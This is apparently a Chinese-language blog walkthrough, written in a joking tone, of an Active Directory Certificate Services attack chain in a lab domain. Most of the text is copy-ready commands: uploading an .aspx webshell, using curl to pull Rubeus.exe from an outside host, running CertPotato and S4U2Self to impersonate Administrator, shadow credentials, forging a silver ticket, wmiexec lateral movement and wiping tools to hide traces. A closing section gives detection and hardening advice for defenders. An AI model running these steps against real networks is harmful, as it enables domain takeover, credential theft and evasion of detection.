Active Directory 证书服务 (AD CS) 攻击链完整指南

🔥 AD CS 攻击链:从菜鸟到大佬的完整Freestyle指南 🔥

这是什么鬼? 🎤

相关视频链接:https://www.bilibili.com/video/BV1niNfzhEka?spm_id_from=333.788.videopod.sections&vd_source=cfdfe53d15fe1aa4e204b5273208d514

今日目标 🎯

  1. 搞定 cb-webapp1 上的破Web应用 - 让它哭着叫妈妈
  2. 用 CertPotato 来个华丽转身 - 从小弟变大哥,获取管理员权限

🎵 第一章:侦察时间 - "我在看着你" 🎵

Windows环境:像个真正的黑客一样枚举

用Certify工具开场

# 兄弟,开始我们的表演吧!
C:\ADCS\Tools\Certify.exe cas

ADModule登场 - 重量级选手

# 切换到我们的武器库
cd C:\ADCS\Tools
C:\ADCS\Tools\ObfuscatedTools\InviShell\RunWithRegistryNonAdmin.bat

# 导入我们的秘密武器
Import-Module C:\ADCS\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\ADCS\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1

# 开始收集情报,像个真正的间谍
Get-ADDomain | ft DNSRoot, ParentDomain, InfrastructureMaster

# 深入敌人内部
Get-ADObject -Filter * -SearchBase 'CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cb,DC=corp'

# 继续挖掘宝藏
ls 'AD:\CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cb,DC=corp' | fl

# 最后一击,获取所有证书颁发机构信息
Get-ADObject -LDAPFilter '(objectclass=certificationAuthority)' -SearchBase 'CN=Configuration,DC=cb,DC=corp' | fl *

Linux环境:企鹅系统也能玩得转

# 切换到我们的Linux战场
cd /opt/Tools/certipy
source certipy_venv/bin/activate

# 用certipy来个全面扫描,就像X光一样
certipy find -u student51 -p kvSSAGvh3tAJlvjQ -dc-ip 172.16.67.1 -stdout

🎵 第二章:开始搞事情 - "Let's Get This Party Started" 🎵

1. 找到我们的目标并给它点颜色看看

# 先看看有哪些机器可以欺负
Get-ADComputer -Filter * -Properties Name | ft Name,DNSHostName,IPv4Address -A

在WSL里来个端口扫描派对

# nmap时间!让我们看看443端口在不在家
nmap -p 443 cb-webapp1.certbulk.cb.corp

2. 文件上传漏洞:我们的入场券 🎫

  • 访问目标网站https://cb-webapp1.certbulk.cb.corp - 敲门!
  • 上传我们的小礼物.aspx webshell - 特洛伊木马时间!
  • 激活我们的后门https://cb-webapp1.certbulk.cb.corp/Files/cmd.aspx - 欢迎来到我的世界!

3. CertPotato验证:确认我们的超能力

在WSL里搭建我们的指挥中心

# 变身超级用户
sudo su
WSLToTh3Rescue!  # 这密码也太可爱了吧

# 准备我们的SMB服务器
cd /opt/Tools/impacket
source impacket_venv/bin/activate
/opt/Tools/impacket/examples/smbserver.py -smb2support testshare .

在WebShell里测试连接

# 测试我们的网络连接,就像测试麦克风一样
/c dir \\cb-ws51.certbulk.cb.corp\testshare$

🎵 第三章:权限提升大作战 - "Leveling Up Like a Boss" 🎵

Windows环境下的CertPotato魔法

在WebShell里施展魔法

# 找到我们的webshell在哪里躲着
/c where /r C:\ cmd.aspx
# 看看有什么好东西可以用
/c dir C:\certbulkadmindata\certbulkadmindata\Files

下载Rubeus:我们的新伙伴 🤝

# 下载我们的秘密武器Rubeus
/c curl --output C:\certbulkadmindata\certbulkadmindata\Files\Rubeus.exe --url http://172.16.100.2/Rubeus.exe

# 使用TGTDeleg技巧,就像变魔术一样获取票据
/c C:\certbulkadmindata\certbulkadmindata\Files\Rubeus.exe tgtdeleg /nowrap

在cb-ws2机器上使用我们的金票

# 导入我们的VIP通行证
C:\ADCS\Tools\Rubeus.exe ptt /ticket:{base64 ticket}

证书请求和转换:炼金术时间 ⚗️

# 先看看有哪些证书模板可以玩
C:\ADCS\Tools\Certify.exe find

# 请求一个机器证书,就像申请VIP会员卡
C:\ADCS\Tools\Certify.exe request /ca:cb-ca.cb.corp\CB-CA /user:cb-webapp1$ /domain:certbulk.cb.corp /template:Machine

# 转换成PFX格式(密码是Passw0rd! - 多么有创意的密码啊)
C:\ADCS\Tools\openssl\openssl.exe pkcs12 -in C:\ADCS\Certs\cb-webapp1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\ADCS\Certs\cb-webapp1.pfx

Rubeus高级技巧:真正的大师级操作 🎩

UnPac-the-hash攻击:解包时间!

C:\ADCS\Tools\Rubeus.exe asktgt /getcredentials /user:cb-webapp1$ /certificate:C:\ADCS\Certs\cb-webapp1.pfx /password:Passw0rd! /domain:certbulk.cb.corp /dc:cb-dc.certbulk.cb.corp /show\

S4U2Self攻击:冒充游戏开始

C:\ADCS\Tools\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/cb-webapp1.certbulk.cb.corp /dc:cb-dc.certbulk.cb.corp /user:cb-webapp1$ /rc4:BG6068B834BE092C8D8DD77AA2157 /ptt

验证我们的新权限:成功的味道

# 测试我们的新超能力
dir \\cb-webapp1.certbulk.cb.corp\c$
whoami  # 看看我现在是谁
net localgroup administrators  # 检查VIP名单

Linux环境下的CertPotato:企鹅也能飞 🐧

票据处理:数字炼金术

# 编辑我们的base64编码票据
nano /mnt/c/ADCS/Certs/cb-webapp1_potato.kirbi.b64
# 解码我们的秘密消息
base64 -d /mnt/c/ADCS/Certs/cb-webapp1_potato.kirbi.b64 > /mnt/c/ADCS/Certs/cb-webapp1_potato.kirbi

# 转换票据格式,就像翻译外星语言
cd /opt/Tools/impacket
source impacket_venv/bin/activate
/opt/Tools/impacket/examples/ticketConverter.py /mnt/c/ADCS/Certs/cb-webapp1_potato.kirbi /mnt/c/ADCS/Certs/cb-webapp1_potato.ccache

# 导入并激活我们的通行证
export KRB5CCNAME=/mnt/c/ADCS/Certs/cb-webapp1_potato.ccache
klist  # 检查我们的票据收藏

Shadow Credentials攻击:影子游戏

cd /opt/Tools/certipy
source certipy_venv/bin/activate
# 启动我们的影子攻击,就像忍者一样
certipy shadow auto -k -no-pass -dc-ip 172.16.67.1 -account 'cb-webapp1' -target cb-dc.certbulk.cb.corp -debug

🎵 第四章:银票据和横向移动 - "Money Moves" 🎵

1. 获取域SID:找到我们的身份证号码

# 用rpcclient获取域的身份信息
rpcclient -U '%' certbulk.cb.corp -c 'lsaquery'

2. 创建银票据:铸造我们的假币 💰

# 切换到我们的造币厂
cd /opt/Tools/impacket
source impacket_venv/bin/activate

# 用ticketer.py创建我们的银票据 - 比特币都没这么值钱
/opt/Tools/impacket/examples/ticketer.py -nthash b6a668e4038348ec92cd8d8d77a72157 -domain certbulk.cb.corp -domain-sid S-1-5-21-3604358216-2548435023-1717832235 -spn cifs/cb-webapp1.certbulk.cb.corp administrator

参数解释(给新手朋友们):

  • -nthash: 机器账户的NTLM哈希 - 我们的密钥
  • -domain: 目标域名 - 我们要征服的王国
  • -domain-sid: 域的SID - 王国的身份证
  • -spn: 服务主体名称 - 我们要冒充的服务
  • administrator: 我们要变成的大佬

3. 票据移动和导入:搬家时间

# 把我们的宝贝移到安全的地方
mv administrator.ccache /mnt/c/ADCS/Certs/

# 激活我们的Kerberos通行证
export KRB5CCNAME=/mnt/c/ADCS/Certs/administrator.ccache

# 检查我们的票据是否生效
klist

4. 横向移动:开始我们的征服之旅 🚀

使用WMI进行远程控制

# 用我们的CIFS票据通过wmiexec进行横向移动
/opt/Tools/impacket/examples/wmiexec.py -k -no-pass certbulk.cb.corp/[email protected]

# 验证我们的新身份
whoami  # 我是谁?我在哪?我要干什么?
net localgroup administrators  # 检查我们是否在VIP名单上

# 任务完成,优雅退场
exit

🎵 第五章:清理现场 - "Clean Up, Clean Up" 🎵

删除犯罪证据 🧹

# 从webshell中删除我们的工具,不留痕迹
/c del C:\certbulkadmindata\certbulkadmindata\Files\Rubeus.exe

🏆 攻击链总结:我们的成功之路 🏆

完整的征服流程

  1. 🚪 初始访问: 通过Web应用文件上传漏洞获取webshell - 敲门进屋
  2. ⬆️ 权限提升: 使用CertPotato技术获取机器账户权限 - 从客人变主人
  3. 📜 证书滥用: 请求和使用机器证书进行身份验证 - 伪造身份证
  4. 🎫 票据操作: 提取和转换Kerberos票据 - 收集通行证
  5. 💰 银票据伪造: 使用机器账户哈希创建伪造的服务票据 - 造假币
  6. 🚀 横向移动: 通过WMI执行远程命令获取目标系统控制权 - 征服新领土
  7. 🧹 痕迹清理: 删除攻击工具和日志 - 毁尸灭迹

关键技术要点 💡

CertPotato攻击:我们的秘密武器

  • 利用证书服务的权限提升漏洞 - 找到系统的软肋
  • 获取机器账户的证书和哈希 - 偷到钥匙
  • 实现从服务账户到系统权限的华丽转身 - 麻雀变凤凰

银票据攻击:为什么这么牛逼?

  • 🔄 持久性: 银票据在服务账户密码更改前一直有效 - 长期饭票
  • 👻 隐蔽性: 不需要与域控制器通信,难以检测 - 隐身术
  • 🎭 灵活性: 可以为任何服务创建票据 - 万能钥匙

我们的武器库 🛠️

工具用途平台酷炫指数
CertifyAD CS 枚举和证书请求Windows⭐⭐⭐⭐
CertipyAD CS 枚举和攻击Linux⭐⭐⭐⭐⭐
RubeusKerberos 票据操作Windows⭐⭐⭐⭐⭐
Impacket网络协议攻击套件Linux⭐⭐⭐⭐⭐
rpcclientRPC 客户端工具Linux⭐⭐⭐
ticketer.py银票据生成Linux⭐⭐⭐⭐
wmiexec.pyWMI 远程执行Linux⭐⭐⭐⭐

🛡️ 防御建议:如何不被我们这样的人搞 🛡️

检测措施:当个好侦探

  • 👀 监控异常的证书请求活动 - 看谁在偷偷申请证书
  • 📊 启用Kerberos审计日志 - 记录所有票据活动
  • 🚨 监控WMI活动和横向移动行为 - 抓住可疑的网络活动
  • 📁 检测异常的文件上传活动 - 防止webshell入侵

预防措施:提前做好准备

  • 🔒 实施严格的证书模板安全配置 - 不要给坏人机会
  • 🔄 定期轮换服务账户密码 - 让旧钥匙失效
  • 🚫 限制Web应用的文件上传功能 - 关闭后门
  • 👤 实施最小权限原则 - 不要给太多权限
  • 🛡️ 启用Windows Defender或其他EDR解决方案 - 请个保镖

加固建议:让系统更强壮

  • ❌ 禁用不必要的证书模板 - 减少攻击面
  • 🔍 实施证书模板权限审查 - 定期检查
  • ⚙️ 配置证书自动注册策略 - 自动化安全
  • 📝 启用证书透明度日志 - 记录一切
  • 🏗️ 实施网络分段和访问控制 - 建立防火墙

🎤 结语:这就是我们的故事 🎤

兄弟们,这就是一个完整的AD CS攻击链!从一个小小的Web应用漏洞开始,我们一路freestyle到了域环境的完全控制权。这不是电影,这是现实中每天都在发生的事情!

通过学习这些攻击技术,安全团队可以更好地:

  • 🎯 设计防御策略 - 知己知彼,百战不殆
  • 👁️ 实施监控和检测机制 - 时刻保持警惕
  • 🔍 定期进行安全评估 - 找出系统的弱点

记住,技术本身没有好坏,关键在于使用它的人。用这些知识来保护,而不是破坏!

Stay safe, stay ethical, stay awesome! 🚀


"With great power comes great responsibility" - 某个穿红色紧身衣的蜘蛛侠


Active Directory 证书服务 (AD CS) 攻击链完整指南
http://localhost:8090/archives/o1bH6AuT
作者
Administrator
发布于
2025年06月19日
许可协议